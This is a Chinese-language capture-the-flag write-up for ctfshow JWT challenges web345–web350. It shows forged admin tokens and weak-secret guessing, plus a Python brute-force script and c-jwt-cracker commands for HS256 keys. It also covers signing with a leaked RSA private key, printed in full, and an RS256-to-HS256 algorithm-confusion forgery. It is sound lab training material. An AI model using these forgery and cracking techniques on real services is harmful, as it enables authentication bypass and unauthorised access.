web345
此题为 【从0开始学web】系列第三百四十五题
此系列题目从最基础开始,题目遵循循序渐进的原则
jwt开始啦
打开会显示:
where is flag?
ctrl+u
查看源代码:
where is flag?
<!-- /admin -->
访问/admin/
这里虽然没有404,但是严格按照大师傅的讲解:
访问
/admin
是在当前目录寻找admin文件访问
/admin/
是打开admin目录寻找index.php
,index.jsp
,index.aspx
文件猜测这里可能是因为浏览器自动优化了
打开并复制cookie
,base64
解码:
W3siaXNzIjoiYWRtaW4iLCJpYXQiOjE2NjMyMTQ4ODgsImV4cCI6MTY2MzIyMjA4OCwibmJmIjoxNjYzMjE0ODg4LCJzdWIiOiJ1c2VyIiwianRpIjoiOWMyNGQ0OWFhODM3YzQ4ZDJlMjAwZmJiYzNmZGUxN2EifV0
——————————————————————————————————————————————————
[{"iss":"admin","iat":1663214888,"exp":1663222088,"nbf":1663214888,"sub":"user","jti":"9c24d49aa837c48d2e200fbbc3fde17a"}]
将非admin的转化为admin,放入cookie
,再访问目录即可:
[{"iss":"admin","iat":1663214888,"exp":1663222088,"nbf":1663214888,"sub":"admin","jti":"9c24d49aa837c48d2e200fbbc3fde17a"}]
——————————————————————————————————————————————————
W3siaXNzIjoiYWRtaW4iLCJpYXQiOjE2NjMyMTQ4ODgsImV4cCI6MTY2MzIyMjA4OCwibmJmIjoxNjYzMjE0ODg4LCJzdWIiOiJhZG1pbiIsImp0aSI6IjljMjRkNDlhYTgzN2M0OGQyZTIwMGZiYmMzZmRlMTdhIn1d
得到flag!!!!!!!!
JWT的学习可以参考:
web346
where is flag?
和上一题一样,进入/admin/
,打开cookie
,在jwt.io
里查看一下:
修改一下:
密钥123456
是盲猜的弱密码。。。
将cookie
重新代入得到flag!!!!!!!
web347
jwt开始啦,弱口令
where is flag?
老样子,找出cookie
,解码:
猜测是弱密码这个cookie就可以用了,当然大师傅下面的方法也是可以的:
利用pydictor
生成1到6位的字典:
python pydictor.py -base d --len 1 6 -o nums.txt
再使用大师傅给的脚本:
import jwt
import json
def runblasting(path,jwt_str,alg):
if alg == "none":
alg = "HS256"
with open(path,encoding='utf-8') as f:
for line in f:
key_ = line.strip()
print(' use '+key_)
try:
jwt.decode(jwt_str,verify=True,key=key_,algorithms=alg)
print('found key! --> ' + key_)
break
except(jwt.exceptions.ExpiredSignatureError, jwt.exceptions.InvalidAudienceError, jwt.exceptions.InvalidIssuedAtError, jwt.exceptions.InvalidIssuedAtError, jwt.exceptions.ImmatureSignatureError):
print('found key! --> ' + key_)
break
except(jwt.exceptions.InvalidSignatureError):
continue
else:
print("key not found!")
if __name__ == '__main__':
runblasting('tory_nums.txt','eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTY2MzIxODEwMSwiZXhwIjoxNjYzMjI1MzAxLCJuYmYiOjE2NjMyMTgxMDEsInN1YiI6InVzZXIiLCJqdGkiOiIwODNlNzgwZDVmOWI2YmU0MjFiY2ExOTk1ZDhhNjU1MSJ9.TtDSCW52Qi_FTO7CM0psNDKsB5vyBiOjTN7rCU23v_g','HS256')
# 原始auth里给的cookie
同样可以爆破出来:
web348
jwt开始啦,爆破
where is flag?
解法一:大师傅脚本爆破!
先生成爆破字典:
python pydictor.py -base L --len 1 6 -o nums.txt
取出auth的cookie
Application
->Storage
->Cookie
->http://xxxxxxxx
->auth
将cookie代入脚本!
使用脚本爆破:
打开jwt.io进行修改:
修改cookie,访问/admin/得到flag
方法二:c-jwt-cracker
kali装的时候会报错,破坏了依赖关系。。。。
使用docker吧。。。也不行。。还是破罐子破摔吧,先删掉再重新下载。。越倒腾bug越多,我真的裂开了,换parrot
试试,还不行,我崩溃了要,换ubuntu
,不行拉倒!!!结果竟然非常顺畅。。。。
git clone https://github.com/brendan-rius/c-jwt-cracker.git
cd c-jwt-cracker/
make
./jwtcrack eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTY2MzIyMjkxMiwiZXhwIjoxNjYzMjMwMTEyLCJuYmYiOjE2NjMyMjI5MTIsInN1YiI6InVzZXIiLCJqdGkiOiI4Nzc0MmVjMDNkN2YzOGY5ZGViNjg4ZGQwZjk5NGI0MyJ9.JQMZLOL-mqSAaO_OpRdRfuJmBfc_woVQ1-dE5xSCM2E
功夫不负有心人。。。
web349
# app.js
/* GET home page. */
router.get('/', function(req, res, next) {
res.type('html');
var privateKey = fs.readFileSync(process.cwd()+'//public//private.key');
var token = jwt.sign({ user: 'user' }, privateKey, { algorithm: 'RS256' });
res.cookie('auth',token);
res.end('where is flag?');
});
router.post('/',function(req,res,next){
var flag="flag_here";
res.type('html');
var auth = req.cookies.auth;
var cert = fs.readFileSync(process.cwd()+'//public/public.key'); // get public key
jwt.verify(auth, cert, function(err, decoded) {
if(decoded.user==='admin'){
res.end(flag);
}else{
res.end('you are not admin');
}
});
});
可以看到私钥泄露了,访问得到私钥:
https://317c1361-589d-4f66-a92e-4273be3674ab.challenge.ctf.show/private.key
-------------------------------------
-----BEGIN RSA PRIVATE KEY-----
MIICWwIBAAKBgQDNioS2aSHtu6WIU88oWzpShhkb+r6QPBryJmdaR1a3ToD9sXDb
eni5WTsWVKrmzmCk7tu4iNtkmn/r9D/bFcadHGnXYqlTJItOdHZio3Bi1J2Elxg8
IEBKx9g6RggTOGXQFxSxlzLNMRzRC4d2PcA9mxjAbG1Naz58ibbtogeglQIDAQAB
AoGAE+mAc995fvt3zN45qnI0EzyUgCZpgbWg8qaPyqowl2+OhYVEJq8VtPcVB1PK
frOtnyzYsmbnwjZJgEVYTlQsum0zJBuTKoN4iDoV0Oq1Auwlcr6O0T35RGiijqAX
h7iFjNscfs/Dp/BnyKZuu60boXrcuyuZ8qXHz0exGkegjMECQQD1eP39cPhcwydM
cdEBOgkI/E/EDWmdjcwIoauczwiQEx56EjAwM88rgxUGCUF4R/hIW9JD1vlp62Qi
ST9LU4lxAkEA1lsfr9gF/9OdzAsPfuTLsl+l9zpo1jjzhXlwmHFgyCAn7gBKeWdv
ubocOClTTQ7Y4RqivomTmlNVtmcHda1XZQJAR0v0IZedW3wHPwnT1dJga261UFFA
+tUDjQJAERSE/SvAb143BtkVdCLniVBI5sGomIOq569Z0+zdsaOqsZs60QJAYqtJ
V7EReeQX8693r4pztSTQCZBKZ6mJdvwidxlhWl1q4+QgY+fYBt8DVFq5bHQUIvIW
zawYVGZdwvuD9IgY/QJAGCJbXA+Knw10B+g5tDZfVHsr6YYMY3Q24zVu4JXozWDV
x+G39IajrVKwuCPG2VezWfwfWpTeo2bDmQS0CWOPjA==
-----END RSA PRIVATE KEY-----
使用师傅们的脚本:
# -*- coding: utf-8 -*-
import jwt
public = open('private.key', 'r').read()
payload={"user":"admin"}
print(jwt.encode(payload, key=public, algorithm='RS256'))
根据源码需要POST传:
可能是传了第一次没有post,将cookie覆盖了,重置cookie,再试一次!!!得到flag!!!
web350
题目给了源代码,看一下app.js
:
var createError = require('http-errors');
var express = require('express');
var ejs = require('ejs');
var path = require('path');
var cookieParser = require('cookie-parser');
var logger = require('morgan');
var session = require('express-session');
var FileStore = require('session-file-store')(session);
var indexRouter = require('./routes/index');
var app = express();
//session
var identityKey = 'auth';
app.use(session({
name: identityKey,
secret: 'ctfshow_session_secret',
store: new FileStore(),
saveUninitialized: false,
resave: false,
cookie: {
maxAge: 60 * 60 * 1000 // 有效期,单位是毫秒
}
}));
// view engine setup
app.set('views', path.join(__dirname, 'views'));
app.engine('html', require('ejs').__express);
app.set('view engine', 'html');
app.use(logger('dev'));
app.use(express.json());
app.use(express.urlencoded({ extended: false }));
app.use(cookieParser());
app.use(express.static(path.join(__dirname, 'public')));
app.use('/', indexRouter);
// catch 404 and forward to error handler
app.use(function(req, res, next) {
next(createError(404));
});
// error handler
app.use(function(err, req, res, next) {
// set locals, only providing error in development
res.locals.message = err.message;
res.locals.error = req.app.get('env') === 'development' ? err : {};
// render the error page
res.status(err.status || 500);
res.render('error',{msg:err.message});
});
module.exports = app;
先访问一下私钥和公钥看看有没有:
http://ee576147-5b6b-493b-9b81-1d73f769d737.challenge.ctf.show/private.key
------------------------------------------
-----CTFSHOW 36D BOY -----
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDfdIGdsPuxSGPuosgarjZ7zO4t
HHmQ7+6WUiKBA0ykcXe6aK9zcVVKCcEwyMbENgTF4Et8RjZ3NKs1Co74Q+4gII5G
IgQFSS0PzTOKmoTY1fnA6+jqBquV4RnU283kgdaKmkaSRdiwsW2EaagMgZdG6WJk
65RmH98bgnIAGW5nawIDAQAB
-----END PUBLIC KEY-----
将非对称改为对称,脚本一把梭就行了:
# -*- coding: utf-8 -*-
import jwt
public = open('public.key', 'r').read()
payload={"user":"admin"}
print(jwt.encode(payload, key=public, algorithm='HS256'))
替换cookie和上一题一样就行了!!!然而:
500 服务器内部错误,师傅tql Cannot read property 'user' of undefined
看来不能自己想当然的改脚本。。。
使用yu师傅的脚本:
const jwt = require('jsonwebtoken');
var fs = require('fs');
var privateKey = fs.readFileSync('350public.key');
var token = jwt.sign({ user: 'admin' }, privateKey, { algorithm: 'HS256' });
console.log(token)
解压缩,将jwt.js
以及public.key
放到web350
(解压缩以后的文件夹)里面,终端运行node jwt.js
即可:
更换cookie
,post 访问得到flag!!!
cookie:eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiYWRtaW4iLCJpYXQiOjE2NjMyMjkyOTJ9.vfcIeWJ0wD8XXJ3l2ONynKpcpxNwhHt7GxBDye5WrRg